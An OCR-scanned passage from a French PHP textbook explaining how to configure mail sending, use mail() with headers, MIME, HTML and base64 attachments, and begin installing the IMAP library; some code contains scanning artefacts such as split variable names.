if (!$ldap) return FALSE; 

// Creation du filtre de recherche 

$recherche = @ldap_read($ldap, $dn, "objectclass=*") ; 

if (!$recherche) 

{ 

BoiteMsgErreur("La lecture des informations". 
" a echoue ! ", $ldap) ; 

deconnexionLdap($ldap) ; 

return FALSE; 
} 
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// On recupere 1 'entree 

$resultat = @ldap_get_entries($ldap, $recherche) ; 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 

return $resultat; 
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Figure 11.7 : La navigation simple dans Vannuaire LDAP 
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Chapitre 12 

La messagerie : 
envoi et lecture de 

mails 



12.1 E-mail 961 

12.2 Acceder a son compte messagerie IMAP, POP3 ou NNTP 974 

12.3 Application d'exemple : le webmail 1012 



E-mail 



nvoyer des e-mails ou creer une interface permettant la consultation d'une boite a lettres 
electronique sont deux taches facilitees par l'existence des bibliotheques fournies par PHP. 



12.1. E-mail 

L'interactivite avec les visiteurs d'un site Internet passe aussi par le courrier electronique. 
Envoyer un e-mail a un visiteur (ou client) quand un produit susceptible de l'interesser est 
disponible ou se faire envoyer (en tant qu'administrateur d'un site) un courrier lorsqu'un 
message est poste dans le forum sont des exemples typiques d'utilisation du courrier 
electronique. 

Installation 

II y a relativement peu de choses a faire pour profiter des fonctions de mail. 

Sous Windows 

II vous suffit de modifier le fichier php.ini afin d'ajouter ou decommenter les lignes suivantes : 

[mail function] 

SMTP = smtp.monfai.com 

sendmail_from = moi@monfai.com 

Le parametre smtp doit preciser l'adresse de votre serveur SMTP (generalement fourni par 
votre fournisseur d'acces ou votre hebergeur, il peut etre du genre smtp.monfai.com ou mail 
.monfai.com par exemple). 

Le parametre sendmail_f rom doit preciser votre adresse e-mail. 

m. Commentaires et tabulations 

j\\ Vous risquez de rencontrer des problemes si vous conservez les commentaires et 
attfntmn tabulations parfois presents sur les lignes de ces parametres. N'hesitez done pas a les 
supprimer. 

Si besoin vous pouvez modifier le port d'appel du service SMTP via le parametre 
smtp_port = 25 

Sous Linux 

Avec la plupart des distributions, par defaut, vous n'aurez probablement rien a faire. 

S'il s'averait toutefois que cela ne fonctionne pas avec un test simple (le premier exemple 
presente), assurez-vous que votre environnement contient bien un client mail appele sendmail 
ou un equivalent comme qmail. 

Si ce n'est pas le cas, vous devrez commencer par en installer un (pour cela, consultez la 
documentation liee a votre distribution). Une fois cette installation faite, vous aurez a 
recompiler PHP (sans nouvelle option particuliere). 
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Chapitre 12 La messagerie : envoi et lecture de mails 



Maintenant que vous etes certain de posseder un client mail (qui fonctionne), sachez que, s'il 
s'agit de sendmail, tout devrait fonctionner automatiquement. Vous pouvez neanmoins 
preciser le nom (s'il est dans le path) ou le chemin complet vers votre client mail, ainsi que les 
options a utiliser avec l'option sendmail_path dephp.ini. Si ce parametre n'est pas precise, la 
valeur par defaut utilisee est "sendmail -t -i". 

Comme dans l'exemple suivant : 

[mail function] 

sendmail _path = /usr/sbin/sendmail -t -i 



JJy Contraintes des serveurs mails 

^^\ II est possible que votre serveur mail (notamment s'il est mis a disposition par un 
ATTENTION hebergeur) vous impose de preciser une adresse retour en cas d'echec de transmission 
du mail. Cela peut se traduire par exemple par le message suivant (retourne dans la 
boite a lettres locale par sendmail) : 

SMTP; 552 sorry, your envelope sender domain must exist 
Dans ce cas, vous devrez ajouter une option -fsuivie de votre adresse e-mail. 

sendmail_path = /usr/sbin/sendmail -t -i -fmoi@monfai.com 

Les utilisateurs de qmail devront probablement modifier cette valeur pour y mettre : 

sendmail_path = /var/qmail/bin/sendmail 



,^J) Verifier le bonfonctionnement de sendmail 

*» Pour verifier que sendmail fonctionne sur votre machine Linux (ou Mac OS X), il 

REMARQUE suffit d'ecrire un petit fichier test en remplagant VOTRE_ADRESSE par votre 
adresse : 

Subject : Test 

From : Moi <moi@moi .moi> 

To : Moi <VOTRE_ADRESSE> 

Cool... 

Puis de taper sendmail -em -t -i < test. Vous devriez alors recevoir un mail 
a votre adresse. 

Le fichier php.ini propose egalement le parametre 

mail .force_extra_parameters = 

Les parametres precises ici remplaceront la valeur du cinquieme parametre de la fonction 

mail ( ) (y COmpris en safe mode) 



Envoyer un e-mail simple 



La fonction permettant l'envoi d'un mail s'appelle tout simplement mail ( ) . Elle peut etre 
utilisee pour envoyer des mails tout simples ou des mails complexes (avec des fichiers joints par 
exemple). 
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mailQ 



Fonction permettant d'envoyer un e-mail. 

Syntaxe boolean mail (string $vers, string $sujet, string $message[, 

string $entetes [, parametres]]) 

$ vers Adresse e-mail ou envoyer le courrier electronique. Vous pouvez egalement 

preciser le nom du destinataire en utilisant le format "Nom" 
<email@domaine.extension>. Si vous souhaitez mettre plusieurs 
personnes en destinataire, separez simplement les adresses par ime virgule. 

$sujet Sujet de l'e-mail. 

$message Le message a envoyer. 

$entetes En-tetes a ajouter a l'e-mail. Chaque ligne de l'en-tete doit etre terminee 

par"\r\n". 

$parametres Parametres supplementaires a passer au programme d'envoi d'e-mails 

(sendmail par exemple, introduit dans la version 4.0.5). Si safe-mode 
est active, cet argument sera ignore. 

retour Retourne TRUE si le message peut etre envoye (ce qui ne prejuge en rien 

de l'existence de l'adresse des destinataires et encore moins de la bonne 
reception de l'e-mail). 

Une fois le serveur de courrier correctement configure, vous pouvez tester un script PHP tres 
simple : 

Listing 12.1 : emailO.php 

<?php 

echo "Envoi email . . ."; 

mail ("testemail@toutestfacile. com", "Test d 1 email", 
"Ceci est un test d'email"); 
?> 

Vous devriez recevoir un e-mail si vous n'oubliez pas de remplacer l'adresse 
testemail@toutestfacile.compar la votre. 

Hebergeurs (gratuits) 

9&M Certains hebergeurs (notamment les gratuits) proposent une version alteree de mail ( ), 
REMARQUE souvent appelee email ( ) . Le principe de fonctionnement devrait etre le meme, mais 
nous vous invitons a consulter votre fournisseur afin de connaitre les differences. 
D'autres ne proposent tout simplement pas de fonction permettant Venvoi d'e-mails. 

Comme vous etes perspicace, vous avez pu constater que la fonction mail ( ) propose quelques 
parametres supplementaires en plus des indispensables nom du destinataire, sujet et contenu 
du mail. Vous pouvez ainsi ajouter des informations a l'en-tete du mail, ce qui permet 
notamment de specifier l'adresse de l'expediteur, une adresse de reponse et toute une serie 
d'informations que nous decouvrirons petit a petit. Vous pouvez egalement passer des 
parametres au client mail, ce qui est particulierement utile pour, par exemple, preciser l'adresse 
a laquelle doivent etre envoyes les mails d'erreur que le serveur pourrait envoyer. 
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Listing 12.2 : maill.php 

<?php 

echo "Envoi d'un email avec un entete specifique"; 
mail ("testemail@toutestfacile.com", "Test d 1 email", 

"Ceci est un test\nsur plusieurs lignes\n" 

."avec un entete et un parametre", 

" From : depui stestemai 1 stoutest faci 1 e . com\r\n" 

."Cc: copietestemail@toutestfacile.com\r\n" 

."Reply-To: noreply@toutestfaci le.com\r\n" 

."X-Mailer: Mon propre mailer !", 

"-ferreurstestemail@toutestfacile.com") ; 
?> 

Ce script enverra done un mail a testemail@toutestfacile.com, ainsi qu'une copie a 
copietestemail@toutestfacile.com (comme le precise le champ Cc: de l'en-tete). En repondant a ce 
mail, ces deux personnes ecriront a noreply@toutestfacile.com (comme le precise le champ Reply- 
To: de l'en-tete), meme si l'expediteur sera indique comme etant depuistestemail@toutestfacile.com 
(comme le precise le champ From: de l'en-tete). 

En cas d'erreur lors de l'envoi (adresse e-mail inexistante par exemple), l'e-mail d'erreur sera 
envoye a erreurstestemail@toutestfacile.com si le programme d'envoi d'un e-mail est sendmail 
(grace a son option -/). 

Option -fde sendmail 

Si cela est possible, vous aurez tout interet a modifier le fichier php.ini pour preciser, 
au niveau du parametre sendmail_path, Voption "-f". Cela vous evitera de repeter 
{'operation a chaque utilisation de lafonction mail (). 



REMARQUE 



Voici le contenu de l'e-mail regu (avec une partie de l'en-tete). 

To: testemail@toutestfacile.com 

Subject: Test d' email 

From: depui stestemai 1 @toutestf aci 1 e . com 

CC : copi etesteinai 1 @toutestf aci 1 e . com 

Reply-To: noreply@toutestfacile.com 

X-Mailer: Mon propre mailer ! 

Message-Id: <20020612005448.851652416E@toutestfacile.com> 

Date: Tue, 11 Aug 2002 20:54:48 -0400 (EDT) 

Content-Type: text 

X-UIDL: c21"!&[M!!dAR! !(],!! 

Ceci est un test 

sur plusieurs lignes 

avec un entete et un parametre 

1 / Source 

wy Pour visualiser precisement le contenu de l'en-tete du mail regu, il vous suffit : 

, ST[]rF Avec Outlook, de selectionner le mail et choisir ['option options du menu View 
(Afficher) ou bien de sauvegarder le mail et de I'ouvrir avec un editeur de texte ; 
Avec Mozilla, de selectionner le mail et choisir Voption Message source du menu View. 
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Pour envoyer un meme e-mail a plusieurs destinataires, il suffit de separer les adresses par une 
virgule. 



Type MIME 



MIME (Multipurpose Internet Mail Extension) est une extension du courrier electronique 
ordinaire tel qu'il a ete defini. 

Cette norme permet de gerer des contenus qui ne sont pas du texte brut. Elle est tellement 
incontournable que desormais la quasi-totalite des courriers electroniques l'utilisent, meme 
sans avoir recours a des fichiers attaches, ni meme a des courriers au format HTML. 

Pour qu'un message respecte la norme MIME, l'en-tete doit contenir un champ MIME- Version 
indiquant le numero de version de la norme MIME utilisee, ainsi qu'un champ Content-Type 
precisant le type du contenu du mail et, eventuellement, d'autres champs dependant du type 
selectionne. 

Le courrier precedent aurait ete le suivant s'il avait ete envoye au format MIME : 

To: testemail@toutestfacile.com 

Subject: Test d' email 

From : depui stestemai 1 @toutestf aci 1 e . com 

CC: copietestemail@toutestfacile.com 

Repl y-To : norepl yPtoutestf aci 1 e . com 

X-Mailer: Mon propre mailer ! 

Message-Id: <20020612005448.851652416EGstoutestfacile.com> 

Date: Tue, 11 Aug 2002 20:54:48 -0400 (EDT) 

MIME-Version: 1.0 

Content-Type: text/plain 

charset="iso-8859-l" 

X-UIDL: c21"!&[M!!dAR! !(],!! 

Ceci est un test 

sur plusieurs lignes 

avec un entete et un parametre 



@MIME 
Vous trouverez une liste de RFC (en anglais) se rapportant a la norme MIME sur le 
INTERNET site http://www.oac.uci.edu/indiv/ehootl/MIMEIMIME.html 
Certaines sont traduites awe adresses : 
http://jlr31130.free.fr/rfc2045-index.html 
http:llilr31130.1ree.fr/rfc204B-index.html 
http://jlr31130.free.fr/rfc2047-index.html 
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Envoyer un e-mail au format HTML 



L'utilisation de la norme MIME permet notamment d'envoyer des fichiers au format 
HTML. 
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Pour envoyer un fichier au format HTML, il suffit de preciser que le contenu du message 
(Content-type) est de 1'HTML (text /html). (Sinon, le destinataire verra les balises HTML qui 
ne seront pas interpretees.) 

Listing 12.3 : mail2.php 

<?php 

echo "Envoi d'un email HTML"; 

mail ("testemail@toutestfacile.com", "Test d 1 email", 
"<htmlxbody>" . 
"<hl>Test Emai 1 </hl>" . 

"<bxu>Ceci est un document HTML</ux/bxbr>". 
"Avec differentes tail les de caracteres et ". 
"<font color=\"red\">couleurs</font>". 
"</bodyx/html>", 
"From: moi@monsi te.com\r\n" 

."Content-Type: text/html; charset=\"iso-8859-l\"") ; 
?> 



Envoyer un e-mail avec fichiers attaches 



Vous pourrez egalement envoyer une image. Pour cela, il faudra bien entendu preciser le type 
du contenu avec Content-type, que nous positionnerons, dans notre cas, a la valeur image / j peg. 
Nous pourrons egalement preciser qu'il s'agit d'un fichier attache portant le nom (vu du 
destinataire) image.jpg. Pour cela, nous ajouterons a l'en-tete une ligne 

"Content-Disposition: attachment; f ilename=image . jpg". 

Mais, surtout, nous devrons resoudre un probleme. En effet, les seules donnees veritablement 
supportees par le mail sont les donnees de type texte. Or, nous souhaitons emettre des donnees 
binaires. Pour resoudre ce probleme, il suffit de respecter les normes etablies. II faudra done 
encoder le contenu binaire pour le transformer en contenu textuel (sans perte d'information). 
Cela peut se faire grace a l'encodage en base 64 via la fonction base64_encode ( ) . 



base64_encode() 



Retourne une chaine encodee en base 64. 

Syntaxe string base64_encode (string $chaine) 

$chaine Chaine a encoder, 

retour La chaine encodee. 

Afin d'indiquer au client mail le type d'encodage utilise (ici base64), vous devez utiliser 

l'en-tete Content-Transfert-Encoding: base64. 

Pour etre totalement conforme avec la norme, les chaines de caracteres issues de l'encodage ne 
doivent pas depasser 76 caracteres. II faut done encore ajouter des retours a la ligne (\r\n) tous 
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les 76 caracteres. Pour cela, vous disposez de la fonction chunk_split() qui realise justement 
cette operation (cette fonction a ete presentee dans le chapitre PHP et les chaines de caracteres). 

Le script permettant l'envoi d'une image JPEG aura done Failure suivante : 

Listing 12.4 : mail3a.php 
, , I I Figure 12.1 : 

<?php i^bp"**"J 

echo "Envoi d'un email avec un fichier I Image a envoyer 

x attache"; | (chutes du Niagara) 

$fichier = "imagetest.jpg"; 

// Lecture du fichier en mode binaire 

(cette precision 

// n'est importante que pour windows) 

$fp = fopen($fichier, "rb"); 

$fichierAttache = fread($fp, filesize($fichier)) ; 

fclose($fp) ; 

// mise au format RFC 

$fichierAttache = chunk_split(base64_encode($fichierAttache)) ; 

mail ("testemail@toutestfacile.com", "Test d 1 email", $fichierAttache, 
"From: moi@monsi te.com\r\n" 

."Content-Disposition: attachment; fi lename=image. jpg\r\n" 
. "Content-Transfer-Encoding: base64\r\n" 
. "Content-Type: image/jpg\r\n") ; 
?> 

Ainsi avec l'image suivante : 
Ce script est equivalent a : 

Listing 12.5 : mail3b.php 

<?php 

echo "Envoi d'un email avec un fichier attache"; 

mail ("testemail@toutestfacile.com", "Test d 1 email", 
"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEP 
ERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/wAALCABGAEYBAREA/8QAHwAAAQUBAQEB 
AQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGElFh 
ByJxFDKBkaEI IOKxwRVSOf AkM2JyggkKFhcYGRolJi coKSo0NTY30Dk6Q0RFRkdISUpTVFVWVlhZ 
WmNkZWZnaGl qc3Rldnd4eXqDhIWGh4i Ji pKTl JWW1 5i ZmqKjpKWmp6i pqrKztLW2t7i 5usLDxMXG 
x8jJytLTlNXW19jZ2uHi4+T15ufo6erx8vP09fb3+Pn6/9oACAEBAAA/A0mmkl8+T96/3j/EfWmi 
WX/nq/8A30aXzJf+er/99GkMko/5av8A99GmmWb/AJ6v/wB9Gk82b/nrJ/30aY0s3/PWT/vo0xpJ 
8f62T/vo00yzj/lpJ/30azrvxVoEV3LG+pRBlkZSMMeQfpVb/hMvD+8ILlix00IX45x6UsvjLQIX 
2SXuDjPCFh+YBqL/AITnw4Q2byQbe5hfnl7VC/jzw+JAFui6EZyqNn8iKrXXj3TvLmW3dQ4B8svn 
k9uMfpms0bx3fo6/6REc9hGDxW4PH+kPCHjW4LZAKlcVKnjXRZHIL3CDHUx/4Vwupt52pXYWSUET 
0MM2056GsS6DSvtaMkbup54qa6055Ll 1 hh3ttUdOR+l anh/w3eXsrW8ULKT97c0PrXd6F804Fl xf 
y4jx8wQAEn8qlG+F/h+ST91N0BnqxB/kBVi3+FnhlztP2jg8sHxVPXvAeiaVpW+CCSW6eQLGu7jJ 
PA+uK5TV/D9pbal LaxNxHgMwHVsc/hmn61 pi sl/cl F2sZGyQ3uazp9Jh3Beeo5rqPD+kAjzf JOlu 
rEVldlHa2ceUKAnjgcmj+0C0h4KK0hPGald0csQzkhcfnVqXU4II2aVTFj7oY4Lfhlrl/EPiAzMD 
Cm4xHchI43Vwd9LcSXTzu7tI5yxHFal5Av26c7f+Wjd/eojGynKFlPqGIqaGW7H3rmU+zMTV63ub 
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vAQSsV9M8V00j2ZnZZLiLKAYwDgflWle3hjg8iyijgwCCw5b8DXM3EMjzlppWYk5JJyagNpATtJU 
j3pp0y2fkBPwqldIPtk3/XRv50zyxRHFklu6HpjTsGI+Uda60by4o/Kj4AqlLj86pzbQeKrTY3fd 
AX196ryI0gGay7sn7bNz/wAtG/nSfMBnA5rR0inza41UBe9daojtLZYk4bHJqkz5J0eahlYnjtVRz 
81NH04HntUQAHHXHFZV5H/pc3zZ09jjHv9KdaQebKFQkk/7NdbYwLY2qsV+dhTJ5i7cmod30KrXE 
4ViqjLjseMiqkkzYZ8rsxkHH009R/agI2dBnCgkE4I9vrVW/nkV0ZD8rLx/n8q0rnw3qBuZZFmtt 
hdiAWbPX6Vp6HoFzDJvlkgbHIAyf6Vo3dhdSPkPEA0gyf8KqjS7vJ/eQ/wDfR/wpsmlXI4LwnlyT 
/hWTdaPqTTPHFLbxjdx87Hj244qGTw7qBxsntl07cSGPzZ0cEbeaqXPh3UjKZBPbD5wWG9uu03Hv 
ULeHNY3FjeQeX0VQ7ccc9VPpX//Z" , 

"From: moi@monsite.com\r\n" 

."Content-Disposition: attachment; filename=image. jpg\r\n" 

. "Content-Transfer-Encoding: base64\r\n" 

."Content-Type: image/jpg\r\n") ; 
?> 

Ce que vous pouvez facilement verifier en sauvegardant le mail et en l'ouvrant avec un editeur 
de texte. 

Vous pouvez evidemment utiliser ce script pour tout type de fichier attache (autre type d'image, 
executable, fichier son, etc.). II vous suffit d'adapter l'en-tete content-type en consequence. 



Envoyer un e-mail multi-part 



Mais ne recevoir qu'un texte ou qu'une image n'a rien de palpitant. Vous serez certainement 
amene a accompagner votre fichier d'un message. Pour concevoir ce genre d'e-mails plus 
complexes, il va falloir constituer des messages electroniques avec plusieurs parties 
(multi-part). 

Pour creer des messages avec plusieurs parties, il faut : 

■ Preciser dans l'en-tete principal qu'il s'agit d'un mail multi-part. 
Identifier chaque partie en la separant des autres par un delimiteur. 
Indiquer pour chaque partie le type de contenu. 

Le choix du delimiteur est important, puisqu'il ne doit pas pouvoir etre confondu avec le 
contenu de l'e-mail, en particulier si ce mail inclut un mail multi-part (ce qui peut arriver dans 
le cas des mails transferes). Ce delimiteur peut etre quelconque, mais il parait evident qu'il vaut 
mieux choisir un delimiteur complexe et variable plutot qu'un mot simple. Ce delimiteur est 
done generalement cree aleatoirement. 

Le delimiteur choisi sera indique au client mail en l'ajoutant a l'en-tete content-type. 

Voici un script commente qui permet d'envoyer un courrier electronique contenant un texte 
tres simple et une image en fichier attache. Chacun de ces elements est "stocke" dans une partie 
du mail. Le corps du mail, quant a lui, ne contiendra qu'un simple texte destine aux rares clients 
mail ne supportant pas le format "MIME 1.0 multipart/mixed". 

Listing 12.6 : mail4.php 

<html> 

<body> 

Test Email avec fichier joint 

<?php 
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// 

// Construction de l'entete 

// 

// Le delimiteur est genere aleatoirement 
$delimiteur = " =".md5(uniqid(rand())) ; 

// Ici, on construit un en-tete contenant les informations 

// minimales requises. 

// Version du format MIME utilise 

$entete = "MIME-Version: 1.0\r\n"; 

// Type de contenu. 

// Ici plusieurs parties de type different "multipart/mixed" 

// Avec un delimiteur defini par $delimiteur 

$entete .= "Content-Type: multipart/mixed; boundary=\"$del imiteur\"\r\n"; 

$entete .= "\r\n"; 

// 

// Construction du message proprement dit 

// 

// Pour le cas, ou le logiciel de mail du destinataire 
// n'est pas capable de lire le format MIME de cette version 
// II est de bon ton de l'en informer 
// REM: Ce message n'apparaft pas pour les 
// logiciels sachant lire ce format 

$msg = "Je vous informe que ceci est un message au format MIME 1.0 ". 
"mul t i part /mi xed . \r\n" ; 

// 

// l re parti e du message 
// Le texte 

// 

// Chaque parti e du message est separee par une frontiere 
$msg .= "--$del imiteur\r\n"; 

// Et pour chaque parti e on en indique le type 

$msg .= "Content-Type: text/plain; charset=\"iso-8859-l\"\r\n"; 

// Et comment il sera code 

$msg .= "Content-Transfer-Encoding:8bit\r\n"; 

// II est indispensable d'introduire une ligne vide 

// entre 1 'en-tete et le texte 

$msg .= "\r\n"; 

// Enfin, on peut ecrire le texte de la l re parti e 

$msg .= "Ceci est un mail avec un fichier joint\r\n"; 

$msg .= "\r\n"; 

// 

// 2 e parti e du message 

// Le fichier 

// 
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// Tout d'abord lire le contenu du fichier 

$fichier = "monfichier.jpg"; 

$fp = fopen($fichier,"rb") ; 

$fichierAttache = fread($fp, filesize($fichier)) ; 

fclose($fp); 

// puis converter le contenu du fichier en une chaTne de caracteres 

// certes total ement illisible, mais sans caracteres exotiques 

// et avec des retours a la ligne tout les 76 caracteres 

// pour etre conforme au format RFC 2045 

$fichierAttache = chunk_split(base64_encode($fichierAttache)) ; 

// Ne pas oublier que chaque parti e du 

// message est separee par une frontiere 

$msg .= "--$del imiteur\r\n"; 

// Et pour chaque partie on en indique le type 

$msg .= "Content-Type: image/jpg; name=\"$fichier\"\r\n"; 

// Et comment il sera code 

$msg .= "Content-Transfer-Encoding: base64\r\n"; 

// Petit plus pour les fichiers joints 

// II est possible de demander a ce que le fichier 

// soit si possible affiche dans le corps du mail 

$msg .= "Content-Disposition: inline; filename=\"$fichier\"\r\n"; 

// II est indispensable d'introduire une ligne vide 

// entre l'en-tete et le texte 

$msg .= "\r\n"; 

// C'est ici que 1 'on insere le code du fichier lu 

$msg .= $fichierAttache."\r\n"; 

$msg .= "\r\n\r\n"; 

// voila, on indique la fin par une nouvelle frontiere 
$msg .= "--$del imiteur--\r\n"; 

$to = "testemail@toutestfacile.com"; 
$reply = "moi@monsite.com"; 
$from = "moi@monsite.com"; 
mail($to, "Test fichier attache", $msg, 

"Reply-to: $reply\r\nFrom: $from\r\n".$entete) ; 
?> 

</body> 
</html> 



REMARQUE 



Ligne vide 

Ne pas oublier de laisser une ligne (\r\n) entre chaque en-tete et le message ou 
fichier. II suffit de trespeu de choses pour que le mail regu ne soit pas conforme au 
resultat attendu. 



Dans cet exemple, nous avons choisi d'afficher l'image dans le corps du mail en utilisant 
"content-Disposition: inline". II aurait egalement ete possible de faire en sorte que 
l'image soit jointe au mail en tant que fichier a sauvegarder par l'utilisateur, en remplacant 
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inline par attachment. La nuance entre les deux dependra egalement du client mail utilise par 
le destinataire (en effet, certains ne supportent pas le mode inline). 

Le script suivant comporte deux fichiers attaches un en 'inline' et un en 'attachment'. Vous 
serez ainsi en mesure de voir la difference. 

Listing 12.7 : mail5.php 

<html> 

<body> 

Test Email avec 2 fichiers joints 

<?php 

// 

// Construction de l'entete 

// 

$delimiteur = " =".md5(uniqid(rand())) ; 

$entete = "MIME-Version: 1.0\r\n"; 

$entete .= "Content-Type: multipart/mixed; boundary=\"$del imiteur\"\r\n"; 

$entete .= "\r\n"; 

// 

// Construction du message proprement dit 

// 

$msg = "Je vous informe que ceci est un message au format MIME 1.0". 
" multipart /mixed. \r\n"; 

// 

// l re parti e du message 

// Le texte 

// 

$msg .= "--$del imiteur\r\n"; 

$msg .= "Content-Type: text/plain; charset=\"iso-8859-l\"\r\n"; 

$msg .= "Content-Transfer-Encoding:8bit\r\n"; 

$msg .= "\r\n"; 

$msg .= "Ceci est un mail avec 2 fichiers joints\r\n"; 

$msg .= "\r\n"; 

// 

// 2 e parti e du message 
// Le l er fichier (inline) 

// 

$fichier = "monfichier.jpg"; 

$fp = fopen($fichier,"rb") ; 

$fichierAttache = fread($fp, filesize($fichier)) ; 

fclose($fp); 

$fichierAttache=chunk_split(base64_encode($fichierAttache)) ; 

$msg .= "--$del imiteur\r\n"; 

$msg .= "Content-Type: image/jpg; name=\"$fichier\"\r\n"; 
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$msg .= "Content-Transfer-Encoding: base64\r\n"; 

$msg .= "Content-Disposition: inline; filename=\"$fichier\"\r\n"; 

$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 

$msg .= "\r\n\r\n"; 

// 

// 3eme parti e du message 

// Le 2eme fichier (attachment) 

// 

$fichier = "monfichier2.jpg"; 

$fp = fopen($fichier,"r") ; 

$fichierAttache = fread($fp,filesize($fichier)) ; 

fclose($fp); 

$fichierAttache = chunk_split(base64_encode($fichierAttache)) ; 

$msg .= "--$del imiteur\r\n"; 

$msg .= "Content-Type: image/jpg; name=\"$fichier\"\r\n"; 

$msg .= "Content-Transfer-Encoding: base64\r\n"; 

$msg .= "Content-Disposition: attachment; filename=\"$fichier\"\r\n"; 

$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 

$msg .= "\r\n\r\n"; 

$msg .= "--$del imiteur--\r\n"; 

$to = "testemail@toutestfacile.com"; 

$reply = "moi@monsite.com"; 

$from = "moi@monsite.com"; 

mail($to, "Test avec 2 fichiers attaches", $msg, 

"Reply-to: $reply\r\nFrom: $from\r\n" .$entete) ; 
?> 

</body> 
</html> 



REMARQUE 



Client e-mail 

Vous pouvez ne pas voir de difference selon voire client e-mail. 



Envoyer un e-mail HTML avec des images 



Envoyer un courrier electronique au format HTML incluant des images est a peine plus 
complique. II existe en fait deux cas de figure. Le plus simple, mais le moins satisfaisant, consiste 
a considerer que les images sont disponibles sur un serveurweb. II suffit, dans ce cas, de reprendre 
le premier exemple d'envoi d'un e-mail au format HTML, et de preciser des adresses completes 

pour les images (du genre <img src="http: //mons ite.com/monimage. jpg">). L'autre 

solution consiste a envoyer les images avec le corps du mail HTML. Pour cela, il suffit de creer 
un mail multi-part, comme dans les exemples precedents. Mais la difficulte (si Ton peut dire) 
apparait lorsqu'il s'agit de faire reference a ces fichiers attaches depuis les balises HTML. 
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Pour repondre a ce besoin, il est possible de donner un identifiant a une partie quelconque du 
mail (ici, les images), grace a l'en-tete Content-ID: suivi d'une chaine de caracteres choisie 
comme identifiant, et placee entre '<' et '>'. Pour faire ensuite appel a ces elements, il suffit de 
preciser l'identifiant de la partie precede de "cid:". 

Ce qui donne un script du genre : 

Listing 12.8 : mail6.php 

<html> 

<body> 

Test Email au format HTML avec 2 images 

<?php 



//- 



// Construction de l'en-tete 

// 

$delimiteur = " =".md5(uniqid(rand())) ; 

$entete = "MIME-Version: 1.0\r\n"; 

$entete .= "Content-Type: multipart/mixed; boundary=\"$del imiteur\"\r\n"; 

$entete .= "\r\n"; 

// 

// Construction du message proprement dit 

// 

$msg = "Je vous informe que ceci est un message au format MIME 1.0". 
" multi part/mi xed.\r\n"; 

//- 
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// l er partie du message 
// Le code HTML 

II- 



$msg .= 

$msg .= 

$msg .= 

$msg .= 

$msg .= 

$msg .= 

$msg .= 

$msg .= 

$msg .= 
$msg. = 



--$del imiteur\r\n"; 

Content-Type: text/html; charset=\"iso-8859-l\"\r\n"; 

Content-Transfer-Encodi ng :8bi t\r\n" ; 

\r\n"; 

<html><bodyxhl>Email HTML avec 2 images</hl>"; 

<table>"; 

<trxth>Image l</thx/tr><tr><tdximg src=\"cid:imagel\"x/tdx/tr>"; 

<trxth>Image 2</thx/trxtrxtdximg src=\"cid:iamge2\"x/tdx/tr>"; 

</table>"; 

</bodyx/html>\r\n"; 



$msg.="\r\n"; 

//- 



// 2 e partie du message 

// Le l er fichier 

// 

$fichier = "monfichier.jpg"; 

$fp = fopen($fichier, "rb"); 

$fichierAttache = fread($fp, filesize($fichier)) ; 
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fclose($fp); 

$fichierAttache = chunk_split(base64_encode($fichierAttache)) ; 

$msg .= "--$del imiteur\r\n"; 

$msg .= "Content-Type: application/octet-stream; name=\"$fichier\"\r\n"; 

$msg .= "Content-Transfer-Encoding: base64\r\n"; 

$msg .= "Content-ID: <imagel>\r\n"; 

$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 

$msg .= "\r\n\r\n"; 

// 

// 3eme partie du message 
// Le 2eme fichier 

// 

$fichier = "monfichier2.jpg"; 

$fp = fopen($fichier, "rb"); 

$fichierAttache = fread($fp, filesize($fichier)) ; 

fclose($fp); 

$fichierAttache = chunk_split(base64_encode($fichierAttache)) ; 

$msg .= "--$del imiteur\r\n"; 

$msg .= "Content-Type: application/octet-stream; name=\"$fichier\"\r\n"; 

$msg .= "Content-Transfer-Encoding: base64\r\n"; 

$msg .= "Content-ID: <image2>\r\n" ; 

$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 

$msg .= "\r\n\r\n"; 

$msg .= "--$del imiteur--\r\n"; 

$to = "testemail@toutestfacile.com"; 

$reply = "moi@monsite.com"; 

$from = "moi@monsite.com"; 

mail($to, "Email HTML avec 2 images", $msg, 

"Reply-to: $reply\r\nFrom: $from\r\n".$entete) ; 

echo "A destination de $to<br />"; 

?> 

</body> 

</html> 

Envoyer un courrier electronique en PHP est d'une simplicite deconcertante, non ' 



12.2. Acceder a son compte messagerie IMAP, POP3 ou 
NNTP 

Acceder a un compte IMAP, POP3, ou NNTP (serveur de 'news') permet de consulter des 
messages electroniques depuis n'importe quel navigateur, sans avoir a le reconfigurer. Cela 
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permet aussi de personnaliser l'interface et, ainsi, d'autoriser ou d'interdire certaines fonctions 
par rapport a un client email "classique". Ce principe d'acces aux messages electroniques via un 
site Internet est communement appele webmail. 

Que ce soit pour acceder a un compte IMAP, POP3 ou NNTP, le principe est presque 
identique, a quelques petites differences pres. 

Avant toute chose, il faut installer la bibliotheque imap. 

Installation 

Sous Windows 

Avec l'archive du PHP Group 

Vous devez, dans un premier temps, vous assurer de disposer du fichier php_imap.dll (fourni 
avec l'archive) dans le repertoire des extensions PHP. II vous suffit alors de modifier le fichier 
php.ini pour ajouter ou decommenter une ligne. 

extension=php_imap.dl 1 

Avec EasyPHP 

Avec EasyPHP, le support d'iMAP est active par defaut. 

Sous Linux 

Vous devez, dans un premier temps, recuperer la bibliotheque cliente imap (c-client.tar.Z) sur 
le site ftp://ftp.cac.washington.edu/irnap/ (egalement disponible sur le CD-ROM fourni). 

Vous pouvez la copier dans un repertoire quelconque (par exemple, /usr/local/src/lib) , puis 
decompressez l'archive avec : 

# uncompress c-client.tar.Z 

# tar xvf c-client.tar 

Puis compilez-la : 

# cd imap-2001a 

# make six 



REMARQUE 



Autres systemes d 'exploitation 

Vous aurez peut-etre a choisir une autre option si vous souhaitez adapter cette 
procedure d'installation pour un autre systeme d 'exploitation (les options sont 
decrites dans le fichier Makefile). 



Vous devez avoir ainsi genere un ensemble de fichiers sous le repertoire c-client. Certains de ces 
fichiers doivent alors etre copies dans des repertoires accessibles lors de la compilation de PHP. 

